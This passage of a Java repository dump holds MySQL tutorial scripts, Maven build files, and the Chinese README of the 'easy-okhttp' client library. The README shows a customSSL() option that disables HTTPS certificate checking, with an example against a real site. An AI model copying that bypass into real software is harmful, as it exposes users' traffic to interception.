    "content": "SELECT * FROM t_book,t_bookType;\n\nSELECT * FROM t_book,t_bookType WHERE t_book.bookTypeId=t_bookType.id;\n\nSELECT bookName,author,bookTypeName FROM t_book,t_bookType WHERE t_book.bookTypeId=t_bookType.id;\n\nSELECT tb.bookName,tb.author,tby.bookTypeName FROM t_book tb,t_bookType tby WHERE tb.bookTypeId=tby.id;\n\nSELECT * FROM t_book LEFT JOIN t_bookType ON t_book.bookTypeId=t_bookType.id;\n\nSELECT tb.bookName,tb.author,tby.bookTypeName FROM t_book tb LEFT JOIN t_bookType tby ON tb.bookTypeId=tby.id;\n\n\nSELECT * FROM t_book RIGHT JOIN t_bookType ON t_book.bookTypeId=t_bookType.id;\n\nSELECT tb.bookName,tb.author,tby.bookTypeName FROM t_book tb RIGHT JOIN t_bookType tby ON tb.bookTypeId=tby.id;\n\n\n\n\nSELECT tb.bookName,tb.author,tby.bookTypeName FROM t_book tb,t_bookType tby WHERE tb.bookTypeId=tby.id AND tb.price>70;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext4.md",
    "content": "SELECT * FROM t_book WHERE booktypeId IN (SELECT id FROM t_booktype);\n\nSELECT * FROM t_book WHERE booktypeId NOT IN (SELECT id FROM t_booktype);\n\n\n\nSELECT * FROM t_book WHERE price>=(SELECT price FROM t_pricelevel WHERE priceLevel=1);\n\n\nSELECT * FROM t_book WHERE EXISTS (SELECT * FROM t_booktype);\n\nSELECT * FROM t_book WHERE NOT EXISTS (SELECT * FROM t_booktype);\n\nSELECT * FROM t_book WHERE price>= ANY (SELECT price FROM t_pricelevel);\n\nSELECT * FROM t_book WHERE price>= ALL (SELECT price FROM t_pricelevel);"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext5.md",
    "content": "SELECT id FROM t_book;\n\nSELECT id FROM t_booktype;\n\nSELECT id FROM t_book UNION SELECT id FROM t_booktype;\n\nSELECT id FROM t_book UNION ALL SELECT id FROM t_booktype;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext6.md",
    "content": "SELECT * FROM t_book WHERE id=1;\n\nSELECT * FROM t_book t WHERE t.id=1;\n\nSELECT t.bookName FROM t_book t WHERE t.id=1;\n\nSELECT t.bookName bName FROM t_book t WHERE t.id=1;\n\nSELECT t.bookName AS bName FROM t_book t WHERE t.id=1;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_table.md",
    "content": "CREATE TABLE t_bookType(\n\tid int primary key auto_increment,\n\tbookTypeName varchar(20),\n\tbookTypeDesc varchar(200)\n);\n\n\nCREATE TABLE t_book(\n\tid int primary key auto_increment,\n\tbookName varchar(20),\n\tauthor varchar(10),\n\tprice decimal(6,2),\n\tbookTypeId int,\n\tconstraint `fk` foreign key (`bookTypeId`) references `t_bookType`(`id`)\n);\n\n\ndesc t_bookType;\n\nshow create table t_bookType;\n\nalter table t_book rename t_book2;\n\n\nalter table t_book change bookName bookName2 varchar(20);\n\nalter table t_book add testField int first ;\n\nalter table t_book drop testField;\n\ndrop table t_bookType;\n\ndrop table t_book;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_triger.md",
    "content": "CREATE TRIGGER trig_book AFTER INSERT \n     ON t_book FOR EACH ROW\n        UPDATE t_bookType SET bookNum=bookNum+1 WHERE new.bookTypeId=t_booktype.id;\n        \n        \nINSERT INTO t_book VALUES(NULL,'java好',100,'ke',1);\n\n\n\nDELIMITER |\nCREATE TRIGGER trig_book2 AFTER DELETE \n    ON t_book FOR EACH ROW\n    BEGIN\n       UPDATE t_bookType SET bookNum=bookNum-1 WHERE old.bookTypeId=t_booktype.id;\n       INSERT INTO t_log VALUES(NULL,NOW(),'在book表里删除了一条数据');\n       DELETE FROM t_test WHERE old.bookTypeId=t_test.id;\n    END \n|\nDELIMITER ;\n\nDELETE FROM t_book WHERE id=5;\n\nSHOW TRIGGERS;\n\nDROP TRIGGER trig_book2 ;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_view.md",
    "content": "CREATE VIEW v1 AS SELECT * FROM t_book;\n\nCREATE VIEW v2 AS SELECT bookName,price FROM t_book;\n\nCREATE VIEW v3(b,p) AS SELECT bookName,price FROM t_book;\n\n\nSELECT * FROM v1;\n\nSELECT * FROM v2;\n\nSELECT * FROM v3;\n\nCREATE VIEW v4 AS SELECT bookName,bookTypeName FROM t_book,t_booktype WHERE t_book.bookTypeId=t_booktype.id;\n\nCREATE VIEW v5 AS SELECT tb.bookName,tby.bookTypeName FROM t_book tb,t_booktype tby WHERE tb.bookTypeId=tby.id;\n\nSELECT * FROM v4;\n\nSELECT * FROM v5;\n\nDESC v5;\n\nSHOW TABLE STATUS LIKE 'v5';\n\nSHOW TABLE STATUS LIKE 't_book';\n\nSHOW CREATE VIEW v5;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_mysql</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n  \n  \n  <distributionManagement>\n    <site>\n      <id>website</id>\n      <url>scp://webhost.company.com/www/website</url>\n    </site>\n  </distributionManagement>\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/src/site/apt/index.apt",
    "content": " -----\n Title Here\n -----\n Author Here\n -----\n Date Here\n -----\n\nMaven Site for your project\n\n Congratulations! If you are looking at this page then you have successfully generated a\n template site employing the site archetype and you have run:\n  \n+-----+\n\nmvn site\n\n+-----+\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/src/site/site.xml",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n\n<project name=\"Maven\" xmlns=\"http://maven.apache.org/DECORATION/1.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/DECORATION/1.0.0 http://maven.apache.org/xsd/decoration-1.0.0.xsd\">\n  <body>\n    <links>\n      <item name=\"Maven\" href=\"http://maven.apache.org/\"/>\n    </links>\n\n    <menu name=\"Documentation\">\n      <!--<item name=\"Xdoc Example\" href=\"xdoc.html\"/>-->\n    </menu>\n  </body>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/t_grade.sql",
    "content": "/*\nSQLyog 企业版 - MySQL GUI v8.14 \nMySQL - 5.1.49-community \n*********************************************************************\n*/\n/*!40101 SET NAMES utf8 */;\n\ncreate table `t_grade` (\n\t`id` int ,\n\t`stuName` varchar (60),\n\t`course` varchar (60),\n\t`score` int \n); \ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('1','张三','语文','91');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('2','张三','数学','90');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('3','张三','英语','87');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('4','李四','语文','79');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('5','李四','数学','95');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('6','李四','英语','80');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('7','王五','语文','77');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('8','王五','数学','81');\ninsert into `t_grade` (`id`, `stuName`, `course`, `score`) values('9','王五','英语','89');\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/t_pricelevel.sql",
    "content": "/*\nSQLyog 企业版 - MySQL GUI v8.14 \nMySQL - 5.1.49-community \n*********************************************************************\n*/\n/*!40101 SET NAMES utf8 */;\n\ncreate table `t_pricelevel` (\n\t`id` int ,\n\t`priceLevel` int ,\n\t`price` float ,\n\t`description` varchar (300)\n); \ninsert into `t_pricelevel` (`id`, `priceLevel`, `price`, `description`) values('1','1','80.00','价格贵的书');\ninsert into `t_pricelevel` (`id`, `priceLevel`, `price`, `description`) values('2','2','60.00','价格适中的书');\ninsert into `t_pricelevel` (`id`, `priceLevel`, `price`, `description`) values('3','3','40.00','价格便宜的书');\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/t_student.sql",
    "content": "/*\nSQLyog 企业版 - MySQL GUI v8.14 \nMySQL - 5.1.49-community \n*********************************************************************\n*/\n/*!40101 SET NAMES utf8 */;\n\ncreate table `t_student` (\n\t`id` double ,\n\t`stuName` varchar (60),\n\t`age` double ,\n\t`sex` varchar (30),\n\t`gradeName` varchar (60)\n); \ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('1','张三','23','男','一年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('2','张三丰','25','男','二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('3','李四','23','男','一年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('4','王五','22','男','三年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('5','珍妮','21','女','一年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('6','李娜','26','女','二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('7','王峰','20','男','三年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('8','梦娜','21','女','二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('9','小黑','22','男','一年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('10','追风','25','男','二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('11','小小张三','21',NULL,'二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('12','小张三','23','男','二年级');\ninsert into `t_student` (`id`, `stuName`, `age`, `sex`, `gradeName`) values('13','张三锋小','24',NULL,'二年级');\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/README.md",
    "content": "# easy-okhttp\n==============\n\n[![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.mzlion/easy-okhttp/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.mzlion/easy-okhttp/)\n[![License](https://img.shields.io/badge/license-Apache%202-4EB1BA.svg)](https://www.apache.org/licenses/LICENSE-2.0.html)\n\nJava网络框架的另一种选择\n\n==============\n`easy-okhttp`是Java网络框架，简化网络操作，专注于业务处理\n\n## 文档目录（点击快速导航）\n\n- [简介](#简介)\n- [依赖说明](#依赖说明)\n- [框架引入](#框架引入)\n- [框架特性说明](#框架特性说明)\n- [全局配置(可选)](#全局配置)\n- [基本示例](#基本示例)\n + [1.普通的GET请求无参数](#1.普通的GET请求无参数)\n + [2.普通的GET请求带参数](#2.普通的GET请求带参数)\n + [3.POST普通表单提交](#3.POST普通表单提交)\n- [上传大文本数据、JSON类型的文本、大文件等](#上传大文本数据、JSON类型的文本、大文件等)\n + [1.POST提交String](#1.POST提交String)\n + [2.POST提交JSON格式的文本](#2.POST提交JSON格式的文本)\n + [3.POST提交XML等其他格式的文本](#3.POST提交XML等其他格式的文本)\n + [4.POST提交二进制文件](4.POST提交二进制文件)\n- [表单提交、一参数多值](#表单提交、一参数多值)\n + [1.POST表单提交含文件上传](#1.POST表单提交含文件上传)\n + [2.POST提交支持一个参数设置多个值或替换](#2.POST提交支持一个参数设置多个值或替换)\n- [HttpResponse对象介绍](#HttpResponse对象介绍)\n- [数据处理器DataHandler<T>](#数据处理器DataHandler<T>)\n- [高级配置](#高级配置)\n + [异步请求](#异步请求)\n + [Callback回调接口](#Callback回调接口)\n + [为单个请求设置超时](#为单个请求设置超时)\n+ [关于demo](#关于demo) \n\n** 在GITOSC下不生效 **\n\n## 简介\n\n`easy-okhttp`是对[OkHttp](https://github.com/square/okhttp)网络框架封装，提供文件上传和下载，表单(含文件)提交，链式调用，支持HTTPS和自定义签名证书等特性。\n`OkHttp`网络框架的流行始于`Android`，但是在`Java`后端仍然是`Apache HttpClient`网络框架，这个框架功能非常强大，但缺点在于设计非常的复杂且jar的比较大。\n所以才有`easy-okhttp`项目，主要目的希望弃用`Apache HttpClient`，其次也是为了帮助`OkHttp`的推广啦。\n\n## 依赖说明\n\n* `OkHttp`，本项目核心所在，底层依赖了`okio`框架，框架的大小在500Kb之内\n* `mzlion-core`，项目依赖的工具类，底层依赖了`slf4j-api`和`gson`两个框架，框架的大小在400Kb之内\n\n也就是说`easy-okhttp`整个包的大小在1M左右，相对于`Apache HttpClient`体积非常的小，而且使用也更为方便。\n\n## 联系方式\n\n* 邮箱地址\n    [mzllon@qq.com](mailto:mzllon@qq.com)\n* QQ群\n  QQ基本已废弃，可以考虑加入微信群\n* 微信群\n    ![easy-okhttp交流群](https://images.gitee.com/uploads/images/2019/0304/164933_4f1db70d_8858.jpeg  \"easy-okhttp交流群\")\n \n## 框架引入\n\n`easy-okhttp`需要JDK7及其以上版本的支持，如果您还不是JDK7的话，新项目赶紧升级吧。\n\nmaven\n\n```xml\n<dependency>\n    <groupId>com.mzlion</groupId>\n    <artifactId>easy-okhttp</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\nGradle\n\n```\ncompile 'com.mzlion:easy-okhttp:1.1.0'\n```\n\n下载jar\n\n\n## 框架特性说明\n\n* 支持GET和POST请求\n* 基于POST的大文本数据、二进制文件上传，即通过Http Body提交\n* 普通的表单提交\n* 带有文件表单提交\n* 表单提交支持参数名重复，即在后台接收到的是数组或集合\n* 支持session保持\n* 支持链式调用\n* 支持可信任证书和自定义签名证书的https访问\n* Debug调试模式，开发环境推荐启用\n* 增加异步请求的支持\n* 提供数据处理器，轻松将数据转为自己想要的结果\n* 更多特性增加中\n\n## 全局配置\n\n框架会自动读取classpath下的`easy-okhttp.properties`配置文件，如果没有特别的要求话，一般不需要重载该配置文件。\n\n * `easy-okhttp.properties`配置文件的配置信息\n    + connectTimeout  连接超时时间，默认设置10秒\n    + readTimeout 内容读取超时时间，默认是30秒\n    + writeTimeout  内容写入超时时间，默认30秒\n * 如果需要更改这些默认配置，有两种方式\n    + 覆盖框架提供的配置`easy-okhttp.properties`，框架优先加载项目中的配置文件，超时时间的单位都是秒\n    + 通过代码设置全局配置\n * 通过代码也可以设置全局参数，该配置操作只需要操作一次，因而可以放在项目启动时配置。\n    + 设置连接超时时间    `HttpClient.Instance.setConnectTimeout(int)`\n    + 设置读取超时时间    `HttpClient.Instance.setReadTimeout(int)`\n    + 设置写入超时时间    `HttpClient.Instance.writeTimeout(int)`\n    + 设置自定义签名证书  `HttpClient.Instance.customSSL(?)`\n    + 设置默认Header      `HttpClient.Instance.setDefaultHeader(?)`\n* SSL证书配置\n    2017年是SSL活跃率非常高的一年，所以增加了HTTPS单向认证和双向认证。HTTPS全局配置需要通过代码设置。\n    + 网站启用了HTTPS，如果SSL证书由信任的Root CA发布的，那么框架自动信信任，不需要你做任何配置\n    + 忽略HTTPS，即客户端不验证，非常不推荐这么使用，调用方式 `HttpClient.Instance.customSSL()`\n    + 假如使用的自签证书（经典的12306网站）或系统不能自动信任的SSL证书（如Let's Encrypt） `HttpClient.Instance.customSSL(HttpClient.class.getClassLoader().getResourceAsStream(\"mzlion_com.cer\"))`\n    + 最严格就是双向认证     `HttpClient.Instance.customSSL(InputStream pfxStream, char[] pfxPwd, InputStream... certificates)`\n\n## 基本示例\n\n**这几天我会提供测试接口，供大家调试使用，敬请期待，期待的来啦： [https://project.mzlion.com/easy-okhttp/api](https://project.mzlion.com/easy-okhttp/api)**\n\n\n### 1.普通的GET请求无参数\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .get(\"http://localhost:8080/user-sys/user/list\") \n                .asString();\n```\n\n### 2.普通的GET请求带参数\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .get(\"http://localhost:8080/user-sys/user/list\")\n                //设置请求参数\n                .queryString(\"mobile\",\"18018110018\")   \n                .asString();\n```\n\n### 3.POST普通表单提交\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .post(\"http://localhost:8080/user-sys/user/add\")                               \n                // 表单参数\n                .param(\"name\",\"张三\")  \n                .param(\"mobile\", \"13023614020\")\n                .param(\"langs\", \"Java\")\n                .param(\"langs\", \"Python\")\n                //url参数\n                //queryString(\"queryTime\",\"20160530\") \n                .asString();\n```\n\n## 上传大文本数据、JSON类型的文本、大文件等\n\n一般针对POST提交数据内容较为复杂、接口约定需要POST上传时调用本方法非常有效。这种提交方式也是POST，但是数据内容和格式直接写入请求流中。比如微信接口就是这种模式。\n\n### 1.POST提交String\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .textBody(\"http://localhost:8080/user-sys/user/body1\")                               \n                .text(\"设施一串和服务端约定好的数据格式\")\n                //设置编码\n                //.charset(\"utf-8\")\n                .asString();\n```\n\n### 2.POST提交JSON格式的文本\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .textBody(\"http://localhost:8080/user-sys/user/import\")                               \n                // post提交json\n                .json(\"[{\\\"name\\\": \\\"test-13\\\",\\\"mobile\\\": \\\"18321001200\\\",\\\"programLangs\\\": \\\"Java,Pyhton\\\",\\\"remark\\\": \\\"0\\\"}]\")\n                //post提交xml\n                //.xml(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" ?>\") \n                //post提交html\n                //.html(\"function fun(){}\")\n                //.charset(\"utf-8\")\n                //设置编码\n                .asString();\n```\n\n### 3.POST提交XML等其他格式的文本\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .textBody(\"http://localhost:8080/user-sys/user/body2\")                               \n                //post提交xml\n                .xml(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" ?>\") \n                //post提交html\n                //.html(\"function fun(){}\")\n                //post提交一段javascript\n                //.javascript(\"function fn(){}\")\n                //设置编码\n                //.charset(\"utf-8\")\n                .asString();\n```\n\n### 4.POST提交二进制文件\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .binaryBody(\"http://localhost:8080/user-sys/user/body3\")                               \n                // post提交流\n                .stream(this.getClass().getClassLoader().getResourceAsStream(\"avatar.png\"))\n                //设置请求内容类型\n                .contentType(ContentType.IMAGE_JPG)\n                //post提交文件\n                //.file(new File(\"d:/avatar.png\")) \n                .asString();\n//ContentType内置常见的MIME类型，基本上不用自己创建\n```\n\n## 表单提交、一参数多值\n\n### 1.POST表单提交含文件上传\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .post(\"http://localhost:8080/user-sys/user/add\")                               \n                .param(\"name\", \"李四\")\n                .param(\"mobile\", \"13023614021\")\n                .param(\"avatarFile\", this.getClassLoader().getResourceAsStream(\"avatar.png\"), \"avatar.png\")\n                //.param(\"avatarFile\", new File(\"D:/avatar.png\")\n                .asString();\n```\n\n### 2.POST提交支持一个参数设置多个值或替换\n\n```java\n    String responseData = HttpClient\n                // 请求方式和请求url\n                .post(\"http://localhost:8080/user-sys/user/add\")                               \n                // 表单参数\n                .param(\"name\",\"张三\")  \n                .param(\"mobile\", \"13023614020\")\n                .param(\"langs\", \"Java\")\n                .param(\"langs\", \"Python\")//会多种语言\n                .asString();\n```\n\n\n## HttpResponse对象介绍\n\n以上展示的代码都是基于同步请求的，并且你会发现示例代码中总是出现`asString()`方法，这个方法来自`HttpResponse`类，\n目前`as***`方法已经提升和`execute`方法级别一样，用法和`HttpResponse`提供的方法一样。\n\n1. `HttpResponse.isSuccess()`表示请求是否成功，只有请求成功才会有后面的功能。\n2. `HttpResponse.getErrorMessage` 请求失败时错误消息。\n\n**下面就是非常非常非常好用的方法**\n\n1. `public String asString()` 将响应结果直接转为字符串\n2. `public <E> E asBean(Class<E> targetClass)` 将响应结果转为JavaBean\n3. `public <E> E asBean(TypeRef<E> typeRef)` 也是将响应结果转为JavaBean，和上面的区别在于该方法能够提取到泛型信息\n4. `public byte[] asByteData()` 将响应结果转为二进制内容，这是数据在网络请求的原始数据\n5. `public void asFile(File saveFile)` 将响应结果转为文件存储，当远程是文件时该方法非常有用\n6. `public void asStream(OutputStream out)` 直接将响应结果输出到另外一个流中\n7. `public <T> T custom(DataHandler<T> dataHandler)` 当以上这些方法都满足不了你的话，这个方法可以自己DIY，随你怎么蹂躏\n\n下面给出一些简单的代码，这些方法已经非常简单了。\n\n```java\n    //将响应结果转为字符串输出\n    String responseData = httpResponse.asString();\n    \n    //将响应结果转为文件保存\n    File frc = new File(\"d:\\\\web\\\\save.txt\");\n    httpResponse.asFile(frc);\n\n    //json转换器\n    List<Person> personList = httpResponse.asBean(new TypeToken<List<Person>>(){});\n    //重载方法\n    //Person person = httpResponse.asBean(Person.class);\n\n    //将响应结果转为输出流中\n    ByteArrayOutputStream baos = new ByteArrayOutputStream();\n    httpResponse.asStream(baos);\n```\n\n## HTTPS\n\n前面已经提到HTTPS的配置，下面给出一些简单的示例更直观了解用法。\n\n```java\n    //由信任CA机构发布的，比如GitHub的https，框架不需要你做什么事情，正常使用即可\n    String githubContent = HttpClient\n        .get(\"https://www.mzlion.com\")\n        .asString();\n\n    //不管三七二十几，直接忽略HTTPS\n    String mzlionIndexContent = HttpClient\n        .get(\"https://kyfw.12306.cn/otn/\")\n        .customSSL()\n        .asString();\n    \n    //自签SSL或程序不认可实际安全的，可以指定客户端证书\n    String mzlionIndexContent = HttpClient\n        .get(\"https://kyfw.12306.cn/otn/\")\n        .customSSL(this.getClass().getClassLoader().getResourceAsStream(\"SRCA.cer\"))\n        .asString();\n    \n```\n\n## 数据处理器DataHandler<T>\n\n这是新版本的新增的一个功能，数据处理器定义接口返回数据处理能力，该接口就只有一个函数\n```java\n    T handle(final okhttp3.Response response) throws IOException;\n```\n该函数提供了将原始数据格式转为业务所需数据格式，框架提供了常用接口处理器实现，若以下的处理器无法满足需求可以自己实现一个处理器。\n\n* `StringDataHandler` 字符串处理器，该处理器比较常用，可以直接调用`StringDataHandler.create()`得到处理器的实例\n* `JsonDataHandler<T>` JSON处理器，该处理器也比较常用，即将JSON字符串转为Javabean\n* `FileDataHandler`     文件处理器，将结果存储到文件中，该处理器有两个构造参数，其中`dirPath`保存目录必填，`filename`保存的文件名可选，如果为空时框架自动从header、url中获取，如果获取不到则随机生成一个文件名。\n\n## 高级配置\n\n### 异步请求\n\n异步请求不会阻塞当前线程（特别是网络慢的时候），适用于对返回结果不关心或不需要立即知晓的情况下，比如推送、通知等。\n异步请求只有在执行网络请求的时候有一点区别，其他地方和同步请求配置和操作都是一样的。\n\n```java\n    String githubContent = HttpClient\n            .get(\"https://www.github.com\")\n            .execute(new CallbackAdaptor<String>(){\n                \n                @Override\n                public DataHandler<String> getDataHandler() {\n                    return StringDataHandler.create();\n                }\n            \n                @Override\n                public void onSuccess(String data) {\n                    //data就是经过处理后的数据，直接在这里写自己的业务逻辑\n                }\n            });\n```\n\n### Callback回调接口\n\n`Callback`是回调定义接口，里面总共定义了6个函数，每个函数被调用的顺序不一样。\n\n* `onBefore()` 第一被调用，主要在请求网络之前，这个函数有返回值，如果返回`false`则阻止此次请求了；\n* `postProgress()`  第二被调用，上传进度回调函数\n* `onError()` 第三被调用，当只有请求失败时才会触发；\n* `onComplete()` 第四被调用，当请求接口完成后触发该函数；\n* `onSuccess()` 第五被调用，当请求接口成功（HTTP状态码为200）则会触发该函数，\n该函数会依赖另外一个函数`getDataHandler()`，返回一个指定的数据处理器，处理原始数据。对于数据处理器前面已经了解过了。\n\n异步回调接口`Callback`总共定义了6个函数，但是一般不会关心所有函数处理情况，所以提供了`CallbackAdaptor`空实现类，想要关注哪个函数的执行结果，重载那个函数即可。\n\n### 为单个请求设置超时\n\n当我们需要对单个请求设置连接超时时间、读取超时时间等属性时，可以在执行`execute`方法之前调用。主要有如下几个方法可以进行调用。\n\n+ `connectTimeout(int)`    连接超时时间\n+ `readTimeout(int)`       读取超时时间\n+ `writeTimeout(int)`      写入超时时间\n+ `customSSL()`            设置https证书\n\n## 关单单例说明\n\n一般一个项目只请求一个远程服务，所以这些配置可以在全局配置，共享一个`OkHttpClient`对象(相当于共享一个浏览器)，\n以上这些方法的调用会使得框架创建一个新的`OkHttpClient`对象(相当于又打开了一个浏览器)。下面给出一个snippet加以说明。\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_okhttp</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>\n        easy-okhttp是对okhttp3上层封装的网络框架，支持文件上传和下载表单提交（文件和一个参数对应多值），\n        链式调用，并且默认整合Gson，对返回结果多种转换，同时还支持HTTPS单向认证和双向认证等特性。\n    </description>\n\n    <developers>\n        <developer>\n            <id>mzlion</id>\n            <name>mzlion</name>\n            <email>mzllon@qq.com</email>\n            <url>https://www.mzlion.com</url>\n            <timezone>+8</timezone>\n            <roles>\n                <role>Project leader</role>\n            </roles>\n        </developer>\n    </developers>\n\n    <!--constants -->\n    <properties>\n        <mzlion-core.version>1.1.2</mzlion-core.version>\n        <okhttp3.version>3.10.0</okhttp3.version>\n        <maven.test.skip>true</maven.test.skip>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n        </dependency>\n\n        <!-- okhttp3 -->\n        <dependency>\n            <groupId>com.squareup.okhttp3</groupId>\n            <artifactId>okhttp</artifactId>\n            <version>${okhttp3.version}</version>\n        </dependency>\n\n        <!-- core-utils -->\n        <dependency>\n            <groupId>com.mzlion</groupId>\n            <artifactId>mzlion-core</artifactId>\n            <version>${mzlion-core.version}</version>\n        </dependency>\n    </dependencies>\n\n    <repositories>\n        <repository>\n            <id>nexus</id>\n            <name>aliyun nexus</name>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <releases>\n                <enabled>true</enabled>\n            </releases>\n            <snapshots>\n                <enabled>true</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n    <pluginRepositories>\n        <pluginRepository>\n            <id>nexus-plugins</id>\n            <name>aliyun nexus</name>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <releases>\n                <enabled>true</enabled>\n            </releases>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n    <distributionManagement>\n        <repository>\n            <id>bintray-repo-maven</id>\n            <url>https://api.bintray.com/maven/mzllon/maven/easy-okhttp/;publish=1</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <!-- compile plugin -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n            </plugin>\n            <!-- javadoc plugin-->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n            </plugin>\n            <!-- java sources plugin-->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n            </plugin>\n\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-dependency-plugin</artifactId>\n                <configuration>\n                    <outputDirectory>${basedir}/target/lib</outputDirectory>\n                    <includeScope>compile</includeScope>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>copy</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>copy-dependencies</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/HttpClient.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp;\n\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.core.lang.CollectionUtils;\nimport com.mzlion.core.utils.PlaceholderPropertyResolver;\nimport com.mzlion.core.utils.PropertyResolver;\nimport com.mzlion.easyokhttp.cookie.CookieStore;\nimport com.mzlion.easyokhttp.cookie.DefaultCookieJar;\nimport com.mzlion.easyokhttp.cookie.MemoryCookieStore;\nimport com.mzlion.easyokhttp.http.DebugLoggingInterceptor;\nimport com.mzlion.easyokhttp.request.BinaryBodyPostRequest;\nimport com.mzlion.easyokhttp.request.GetRequest;\nimport 